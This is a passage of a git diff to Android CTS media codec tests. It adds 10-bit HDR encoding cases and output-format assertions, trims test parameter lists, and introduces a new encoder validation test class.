-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_16kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_22kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_24kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_32kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_44kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_48kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_8kHz_usac.m4a"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_16kHz_usac.m4a"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_22kHz_usac.m4a"},
+                        null, -1.0f, -1L, 22050, 1, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_24kHz_usac.m4a"},
+                        null, -1.0f, -1L, 24000, 1, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_32kHz_usac.m4a"},
+                        null, -1.0f, -1L, 32000, 1, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_44kHz_usac.m4a"},
+                        null, -1.0f, -1L, 44100, 1, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_48kHz_usac.m4a"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_8kHz_usac.m4a"},
+                        null, -1.0f, -1L, 8000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_16kHz_usac.m4a"},
+                        null, -1.0f, -1L, 16000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_22kHz_usac.m4a"},
+                        null, -1.0f, -1L, 22050, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_24kHz_usac.m4a"},
+                        null, -1.0f, -1L, 24000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_32kHz_usac.m4a"},
+                        null, -1.0f, -1L, 32000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_44kHz_usac.m4a"},
+                        null, -1.0f, -1L, 44100, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_48kHz_usac.m4a"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_DEFAULT},
         });
         return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
     }
@@ -471,24 +588,33 @@
             formats.add(setUpSource(file));
             mExtractor.release();
         }
-        if (!areFormatsSupported(mCodecName, mMime, formats)) {
-            if (mSupport == CODEC_ALL) {
-                fail("format(s) not supported by component: " + mCodecName + " for mime : " +
-                        mMime);
-            } else if (mSupport == CODEC_ANY && selectCodecs(mMime, formats, null,
-                    false).isEmpty()) {
-                fail("format(s) not supported by any component for mime : " + mMime);
-            } else if (mSupport == CODEC_DEFAULT && isDefaultCodec(mCodecName, mMime, false)) {
-                fail("format(s) not supported by " + mCodecName
-                        + " which is a default codec for mime : " + mMime);
-            }
-            return;
-        }
-        final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
+        checkFormatSupport(mCodecName, mMime, false, formats, null, mSupportRequirements);
         {
             OutputManager ref = null;
+            mSaveToMem = true;
+            int audioEncoding = AudioFormat.ENCODING_INVALID;
             for (String file : mSrcFiles) {
-                decodeToMemory(file, mCodecName, 0, mode, Integer.MAX_VALUE);
+                mOutputBuff = new OutputManager();
+                mCodec = MediaCodec.createByCodecName(mCodecName);
+                MediaFormat format = setUpSource(file);
+                if (mIsAudio) {
+                    audioEncoding = format.getInteger(MediaFormat.KEY_PCM_ENCODING,
+                            AudioFormat.ENCODING_PCM_16BIT);
+                }
+                configureCodec(format, false, true, false);
+                mCodec.start();
+                mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+                doWork(Integer.MAX_VALUE);
+                queueEOS();
+                waitForAllOutputs();
+                mOutFormat = mCodec.getOutputFormat();
+                if (mIsAudio) {
+                    assertEquals(mOutFormat.getInteger(MediaFormat.KEY_PCM_ENCODING,
+                            AudioFormat.ENCODING_PCM_16BIT), audioEncoding);
+                }
+                mCodec.stop();
+                mCodec.release();
+                mExtractor.release();
                 String log = String.format("codec: %s, test file: %s:: ", mCodecName, file);
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
@@ -505,10 +631,17 @@
                     assertTrue(log + "decoder outputs are not identical",
                             ref.equalsInterlaced(mOutputBuff));
                 } else {
-                    assertTrue(log + "decoder outputs are not identical", ref.equals(mOutputBuff));
+                    assertEquals(log + "decoder outputs are not identical", ref, mOutputBuff);
                 }
+                assertEquals("sample rate mismatch", mSampleRate,
+                        mOutFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE, -1));
+                assertEquals("channel count mismatch", mChannelCount,
+                        mOutFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT, -1));
+                assertEquals("width mismatch", mWidth, getWidth(mOutFormat));
+                assertEquals("height mismatch", mHeight, getHeight(mOutFormat));
             }
-            CodecDecoderTest.verify(mOutputBuff, mRefFile, mRmsError, mRefCRC);
+            Assume.assumeFalse("skip checksum due to tonemapping", mSkipChecksumVerification);
+            CodecDecoderTest.verify(ref, mRefFile, mRmsError, audioEncoding, mRefCRC);
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 22d1083..ca5b959 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -29,6 +29,7 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -37,6 +38,7 @@
 import java.io.File;
 import java.io.IOException;
 import java.nio.ByteBuffer;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
@@ -58,11 +60,14 @@
     private final int mMaxBFrames;
     private int mLatency;
     private boolean mReviseLatency;
+    private MediaFormat mEncoderFormat;
 
     private MediaExtractor mExtractor;
     private MediaCodec mEncoder;
     private CodecAsyncHandler mAsyncHandleEncoder;
+    private String mDecoderName;
     private MediaCodec mDecoder;
+    private MediaFormat mDecoderFormat;
     private CodecAsyncHandler mAsyncHandleDecoder;
     private boolean mIsCodecInAsyncMode;
     private boolean mSignalEOSWithLastFrame;
@@ -101,10 +106,28 @@
     }
 
     @Before
-    public void isCodecNameValid() {
+    public void setUp() throws IOException {
         if (mCompName.startsWith(CodecTestBase.INVALID_CODEC)) {
             fail("no valid component available for current test ");
         }
+        mDecoderFormat = setUpSource(mTestFile);
+        ArrayList<MediaFormat> decoderFormatList = new ArrayList<>();
+        decoderFormatList.add(mDecoderFormat);
+        String decoderMediaType = mDecoderFormat.getString(MediaFormat.KEY_MIME);
+        if (CodecTestBase.doesAnyFormatHaveHDRProfile(decoderMediaType, decoderFormatList) ||
+                mTestFile.contains("10bit")) {
+            // Check if encoder is capable of supporting HDR profiles.
+            // Previous check doesn't verify this as profile isn't set in the format
+            Assume.assumeTrue(mCompName + " doesn't support HDR encoding",
+                    CodecTestBase.doesCodecSupportHDRProfile(mCompName, mMime));
+        }
+
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        mDecoderName = codecList.findDecoderForFormat(mDecoderFormat);
+        Assume.assumeNotNull(mDecoderFormat.toString() + " not supported by any decoder.",
+                mDecoderName);
+
+        mEncoderFormat = setUpEncoderFormat(mDecoderFormat);
     }
 
     @Parameterized.Parameters(name = "{index}({0}_{1})")
@@ -112,7 +135,7 @@
         final boolean isEncoder = true;
         final boolean needAudio = false;
         final boolean needVideo = true;
-        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+        final List<Object[]> exhaustiveArgsList = new ArrayList<>(Arrays.asList(new Object[][]{
                 // Video - CodecMime, test file, bit rate, frame rate
                 {MediaFormat.MIMETYPE_VIDEO_H263, "bbb_176x144_128kbps_15fps_h263.3gp", 128000, 15},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4", 64000, 12},
@@ -121,7 +144,21 @@
                 {MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_cif_768kbps_30fps_avc.mp4", 512000, 30},
                 {MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_cif_768kbps_30fps_avc.mp4", 512000, 30},
                 {MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_cif_768kbps_30fps_avc.mp4", 512000, 30},
-        });
+        }));
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (CodecTestBase.IS_AT_LEAST_T) {
+            exhaustiveArgsList.addAll(Arrays.asList(new Object[][]{
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "cosmat_520x390_24fps_crf22_avc_10bit.mkv",
+                        512000, 30},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_520x390_24fps_crf22_hevc_10bit.mkv",
+                        512000, 30},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_520x390_24fps_crf22_vp9_10bit.mkv",
+                        512000, 30},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_520x390_24fps_768kbps_av1_10bit.mkv",
+                        512000, 30},
+            }));
+        }
         return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
                 true);
     }
@@ -138,10 +175,17 @@
             String mime = format.getString(MediaFormat.KEY_MIME);
             if (mime.startsWith("video/")) {
                 mExtractor.selectTrack(trackID);
-                // COLOR_FormatYUV420Flexible by default should be supported by all components
-                // This call shouldn't effect configure() call for any codec
-                format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+                ArrayList<MediaFormat> formatList = new ArrayList<>();
+                formatList.add(format);
+                boolean selectHBD = CodecTestBase.doesAnyFormatHaveHDRProfile(mime, formatList) ||
+                        srcFile.contains("10bit");
+                if (selectHBD) {
+                    format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                            MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010);
+                } else {
+                    format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                            MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+                }
                 return format;
             }
         }
@@ -445,15 +489,7 @@
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleEncodeFromSurface() throws IOException, InterruptedException {
-        MediaFormat decoderFormat = setUpSource(mTestFile);
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        String decoder = codecList.findDecoderForFormat(decoderFormat);
-        if (decoder == null) {
-            mExtractor.release();
-            fail("no suitable decoder found for format: " + decoderFormat.toString());
-        }
-        mDecoder = MediaCodec.createByCodecName(decoder);
-        MediaFormat encoderFormat = setUpEncoderFormat(decoderFormat);
+        mDecoder = MediaCodec.createByCodecName(mDecoderName);
         boolean muxOutput = true;
         {
             mEncoder = MediaCodec.createByCodecName(mCompName);
@@ -480,7 +516,7 @@
                     }
                     mMuxer = new MediaMuxer(tmpPath, muxerFormat);
                 }
-                configureCodec(decoderFormat, encoderFormat, isAsync, false);
+                configureCodec(mDecoderFormat, mEncoderFormat, isAsync, false);
                 mEncoder.start();
                 mDecoder.start();
                 doWork(Integer.MAX_VALUE);
@@ -504,7 +540,7 @@
                 else mEncoder.reset();
                 String log = String.format(
                         "format: %s \n codec: %s, file: %s, mode: %s:: ",
-                        encoderFormat, mCompName, mTestFile, (isAsync ? "async" : "sync"));
+                        mEncoderFormat, mCompName, mTestFile, (isAsync ? "async" : "sync"));
                 assertTrue(log + " unexpected error", !hasSeenError());
                 assertTrue(log + "no input sent", 0 != mDecInputCount);
                 assertTrue(log + "no decoder output received", 0 != mDecOutputCount);
@@ -544,18 +580,11 @@
     }
 
     private native boolean nativeTestSimpleEncode(String encoder, String decoder, String mime,
-            String testFile, String muxFile, int bitrate, int framerate);
+            String testFile, String muxFile, int bitrate, int framerate, int colorFormat);
 
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleEncodeFromSurfaceNative() throws IOException {
-        MediaFormat decoderFormat = setUpSource(mTestFile);
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        String decoder = codecList.findDecoderForFormat(decoderFormat);
-        if (decoder == null) {
-            mExtractor.release();
-            fail("no suitable decoder found for format: " + decoderFormat.toString());
-        }
         {
             String tmpPath;
             if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
@@ -564,8 +593,9 @@
             } else {
                 tmpPath = File.createTempFile("tmp", ".mp4").getAbsolutePath();
             }
-            assertTrue(nativeTestSimpleEncode(mCompName, decoder, mMime, mInpPrefix + mTestFile,
-                    tmpPath, mBitrate, mFrameRate));
+            int colorFormat = mDecoderFormat.getInteger(MediaFormat.KEY_COLOR_FORMAT, -1);
+            assertTrue(nativeTestSimpleEncode(mCompName, mDecoderName, mMime,
+                    mInpPrefix + mTestFile, tmpPath, mBitrate, mFrameRate, colorFormat));
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
index 832127d..5d1053f 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
@@ -32,13 +32,11 @@
 import org.junit.runners.Parameterized;
 
 import java.io.IOException;
-import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
 
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -118,33 +116,32 @@
         final boolean needVideo = true;
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 // Audio - CodecMime, arrays of bit-rates, sample rates, channel counts
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new int[]{64000, 128000}, new int[]{8000, 11025,
-                        22050, 44100, 48000}, new int[]{1, 2}},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new int[]{6600, 8850, 12650, 14250, 15850,
-                        18250, 19850, 23050, 23850}, new int[]{16000}, new int[]{1}},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new int[]{4750, 5150, 5900, 6700, 7400, 7950,
-                        10200, 12200}, new int[]{8000}, new int[]{1}},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new int[]{6600, 8850, 12650, 14250, 15850,
-                        18250, 19850, 23050, 23850}, new int[]{16000}, new int[]{1}},
-                /* TODO(169310292) */
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new int[]{/* 0, 1, 2, */ 3, 4, 5, 6, 7, 8},
-                        new int[]{8000, 48000, 96000, 192000}, new int[]{1, 2}},
+                {MediaFormat.MIMETYPE_AUDIO_AAC, new int[]{128000}, new int[]{8000, 48000},
+                        new int[]{1, 2}},
+                {MediaFormat.MIMETYPE_AUDIO_OPUS, new int[]{6600, 23850}, new int[]{16000},
+                        new int[]{1}},
+                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new int[]{4750, 12200}, new int[]{8000},
+                        new int[]{1}},
+                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new int[]{6600, 23850}, new int[]{16000},
+                        new int[]{1}},
+                {MediaFormat.MIMETYPE_AUDIO_FLAC, new int[]{5}, new int[]{8000, 48000},
+                        new int[]{1, 2}},
 
                 // Video - CodecMime, arrays of bit-rates, height, width
                 {MediaFormat.MIMETYPE_VIDEO_H263, new int[]{32000, 64000}, new int[]{176},
                         new int[]{144}},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG4, new int[]{32000, 64000}, new int[]{176},
                         new int[]{144}},
-                {MediaFormat.MIMETYPE_VIDEO_AVC, new int[]{256000, 512000}, new int[]{176, 352,
-                        352, 480}, new int[]{144, 240, 288, 360}},
-                {MediaFormat.MIMETYPE_VIDEO_HEVC, new int[]{256000, 512000}, new int[]{176, 352,
-                        352, 480}, new int[]{144, 240, 288, 360}},
-                {MediaFormat.MIMETYPE_VIDEO_VP8, new int[]{256000, 512000}, new int[]{176, 352,
-                        352, 480}, new int[]{144, 240, 288, 360}},
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new int[]{256000, 512000}, new int[]{176, 352,
-                        352, 480}, new int[]{144, 240, 288, 360}},
-                {MediaFormat.MIMETYPE_VIDEO_AV1, new int[]{256000, 512000}, new int[]{176, 352,
-                        352, 480}, new int[]{144, 240, 288, 360}},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, new int[]{512000}, new int[]{176, 352},
+                        new int[]{144, 288}},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, new int[]{512000}, new int[]{176, 352},
+                        new int[]{144, 288}},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, new int[]{512000}, new int[]{176, 352},
+                        new int[]{144, 288}},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new int[]{512000}, new int[]{176, 352},
+                        new int[]{144, 288}},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, new int[]{512000}, new int[]{176, 352},
+                        new int[]{144, 288}},
         });
         return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, true);
     }
@@ -161,7 +158,7 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleEncode() throws IOException, InterruptedException {
-        setUpParams(Integer.MAX_VALUE);
+        setUpParams(1);
         boolean[] boolStates = {true, false};
         setUpSource(mInputFile);
         OutputManager ref = new OutputManager();
@@ -231,75 +228,6 @@
         }
     }
 
-    private boolean isCodecLossless(String mime) {
-        return mime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC) ||
-                mime.equals(MediaFormat.MIMETYPE_AUDIO_RAW);
-    }
-
-    /**
-     * Identity test for encoder
-     */
-    @LargeTest
-    @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testLosslessEncodeDecode() throws IOException, InterruptedException {
-        Assume.assumeTrue(isCodecLossless(mMime));
-        setUpParams(Integer.MAX_VALUE);
-        setUpSource(mInputFile);
-        mOutputBuff = new OutputManager();
-        {
-            mCodec = MediaCodec.createByCodecName(mCodecName);
-            mSaveToMem = true;
-            for (MediaFormat format : mFormats) {
-                if (mIsAudio) {
-                    mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-                    mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-                } else {
-                    mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-                    mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-                }
-                String log = String.format("format: %s \n codec: %s, file: %s :: ", format,
-                        mCodecName, mInputFile);
-                mOutputBuff.reset();
-                mInfoList.clear();
-                configureCodec(format, true, true, true);
-                mCodec.start();
-                doWork(Integer.MAX_VALUE);
-                queueEOS();
-                waitForAllOutputs();
-                /* TODO(b/147348711) */
-                if (false) mCodec.stop();
-                else mCodec.reset();
-                assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
-                assertTrue(log + "no input sent", 0 != mInputCount);
-                assertTrue(log + "no output received", 0 != mOutputCount);
-                if (!mIsAudio) {
-                    assertTrue(
-                            log + "input count != output count, act/exp: " + mOutputCount +
-                                    " / " + mInputCount, mInputCount == mOutputCount);
-                }
-                if (mIsAudio) {
-                    assertTrue(log + " pts is not strictly increasing",
-                            mOutputBuff.isPtsStrictlyIncreasing(mPrevOutputPts));
-                } else {
-                    assertTrue(
-                            log + " input pts list and output pts list are not identical",
-                            mOutputBuff.isOutPtsListIdenticalToInpPtsList((mMaxBFrames != 0)));
-                }
-                ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-                assertFalse("no suitable codecs found for mime: " + mMime,
-                        listOfDecoders.isEmpty());
-                for (String decoder : listOfDecoders) {
-                    ByteBuffer out = decodeElementaryStream(decoder, format,
-                            mOutputBuff.getBuffer(), mInfoList);
-                    if (!out.equals(ByteBuffer.wrap(mInputData))) {
-                        fail(log + "identity test failed");
-                    }
-                }
-            }
-            mCodec.release();
-        }
-    }
-
     private native boolean nativeTestSimpleEncode(String encoder, String file, String mime,
             int[] list0, int[] list1, int[] list2, int colorFormat);
 
@@ -706,7 +634,6 @@
     private native boolean nativeTestSetForceSyncFrame(String encoder, String file, String mime,
             int[] list0, int[] list1, int[] list2, int colorFormat);
 
-    @Ignore("TODO(b/) = test sometimes timesout")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSetForceSyncFrameNative() throws IOException {
@@ -742,8 +669,6 @@
         mOutputBuff = new OutputManager();
         mSaveToMem = true;
         {
-            /* TODO(b/147574800) */
-            if (mCodecName.equals("c2.android.hevc.encoder")) return;
             mCodec = MediaCodec.createByCodecName(mCodecName);
             format.removeKey(MediaFormat.KEY_BITRATE_MODE);
             MediaCodecInfo.EncoderCapabilities cap =
@@ -803,7 +728,6 @@
     private native boolean nativeTestAdaptiveBitRate(String encoder, String file, String mime,
             int[] list0, int[] list1, int[] list2, int colorFormat);
 
-    @Ignore("TODO(b/) = test sometimes timesout")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptiveBitRateNative() throws IOException {
@@ -811,8 +735,6 @@
             mAdaptiveBitrateMimeList.contains(mMime));
         int colorFormat = -1;
         {
-            /* TODO(b/147574800) */
-            if (mCodecName.equals("c2.android.hevc.encoder")) return;
             if (!mIsAudio) {
                 colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
new file mode 100644
index 0000000..932af63
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.AudioFormat;
+import android.media.MediaCodec;
+import android.media.MediaFormat;
+
+import androidx.test.filters.LargeTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.mediav2.cts.CodecTestBase.SupportClass.*;
+import static org.junit.Assert.*;
+
+@RunWith(Parameterized.class)
+public class CodecEncoderValidationTest extends CodecEncoderTestBase {
+    private final boolean mUseHBD;
+    // Key: mediaType, Value: tolerance duration in ms
+    private static final Map<String, Integer> toleranceMap = new HashMap<>();
+
+    static {
+        toleranceMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, 20);
+        toleranceMap.put(MediaFormat.MIMETYPE_AUDIO_OPUS, 10);
+        toleranceMap.put(MediaFormat.MIMETYPE_AUDIO_AMR_NB, 10);
+        toleranceMap.put(MediaFormat.MIMETYPE_AUDIO_AMR_WB, 20);
+        toleranceMap.put(MediaFormat.MIMETYPE_AUDIO_FLAC, 0);
+    }
+
+    public CodecEncoderValidationTest(String encoder, String mediaType, int bitrate,
+            int encoderInfo1, int encoderInfo2, boolean useHBD) {
+        super(encoder, mediaType, new int[]{bitrate}, new int[]{encoderInfo1},
+                new int[]{encoderInfo2});
+        mUseHBD = useHBD;
+    }
+
+    private static List<Object[]> flattenParams(List<Object[]> params) {
+        List<Object[]> argsList = new ArrayList<>();
+        for (Object[] param : params) {
+            String mediaType = (String) param[0];
+            int[] bitRates = (int[]) param[1];
+            int[] infoList1 = (int[]) param[2];
+            int[] infoList2 = (int[]) param[3];
+            boolean useHBD = (boolean) param[4];
+            for (int bitrate : bitRates) {
+                for (int info1 : infoList1) {
+                    for (int info2 : infoList2) {
+                        argsList.add(new Object[]{mediaType, bitrate, info1, info2, useHBD});
+                    }
+                }
+            }
+        }
+        return argsList;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2}_{3}_{4}_{5})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = true;
+        final boolean needAudio = true;
+        final boolean needVideo = true;
+        List<Object[]> defArgsList = new ArrayList<>(Arrays.asList(new Object[][]{
+                // Audio tests covering cdd sec 5.1.3
+                // mediaType, arrays of bit-rates, sample rates, channel counts, useHBD
+                {MediaFormat.MIMETYPE_AUDIO_AAC, new int[]{64000, 128000}, new int[]{8000, 12000,
+                        16000, 22050, 24000, 32000, 44100, 48000}, new int[]{1, 2}, false},
+                {MediaFormat.MIMETYPE_AUDIO_OPUS, new int[]{64000, 128000}, new int[]{8000, 12000
+                        , 16000, 24000, 48000}, new int[]{1, 2}, false},
+                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new int[]{4750, 5150, 5900, 6700, 7400, 7950,
+                        10200, 12200}, new int[]{8000}, new int[]{1}, false},
+                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new int[]{6600, 8850, 12650, 14250, 15850,
+                        18250, 19850, 23050, 23850}, new int[]{16000}, new int[]{1}, false},
+                /* TODO(169310292) */
+                {MediaFormat.MIMETYPE_AUDIO_FLAC, new int[]{/* 0, 1, 2, */ 3, 4, 5, 6, 7, 8},
+                        new int[]{8000, 16000, 32000, 48000, 96000, 192000}, new int[]{1, 2},
+                        false},
+                {MediaFormat.MIMETYPE_AUDIO_FLAC, new int[]{/* 0, 1, 2, */ 3, 4, 5, 6, 7, 8},
+                        new int[]{8000, 16000, 32000, 48000, 96000, 192000}, new int[]{1, 2},
+                        true},
+
+                // mediaType, arrays of bit-rates, width, height, useHBD
+                {MediaFormat.MIMETYPE_VIDEO_H263, new int[]{32000, 64000}, new int[]{176},
+                        new int[]{144}, false},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG4, new int[]{32000, 64000}, new int[]{176},
+                        new int[]{144}, false},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, new int[]{256000}, new int[]{352, 480},
+                        new int[]{240, 360}, false},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, new int[]{256000}, new int[]{352, 480},
+                        new int[]{240, 360}, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, new int[]{256000}, new int[]{352, 480},
+                        new int[]{240, 360}, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new int[]{256000}, new int[]{352, 480},
+                        new int[]{240, 360}, false},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, new int[]{256000}, new int[]{352, 480},
+                        new int[]{240, 360}, false},
+        }));
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (IS_AT_LEAST_T) {
+            defArgsList.addAll(Arrays.asList(new Object[][]{
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, new int[]{256000}, new int[]{352, 480},
+                            new int[]{240, 360}, true},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, new int[]{256000}, new int[]{352, 480},
+                            new int[]{240, 360}, true},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, new int[]{256000}, new int[]{352, 480},
+                            new int[]{240, 360}, true},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, new int[]{256000}, new int[]{352, 480},
+                            new int[]{240, 360}, true},
+            }));
+        }
+        List<Object[]> argsList = flattenParams(defArgsList);
+        return prepareParamList(argsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    void encodeAndValidate(String inputFile) throws IOException, InterruptedException {
+        if (!mIsAudio) {
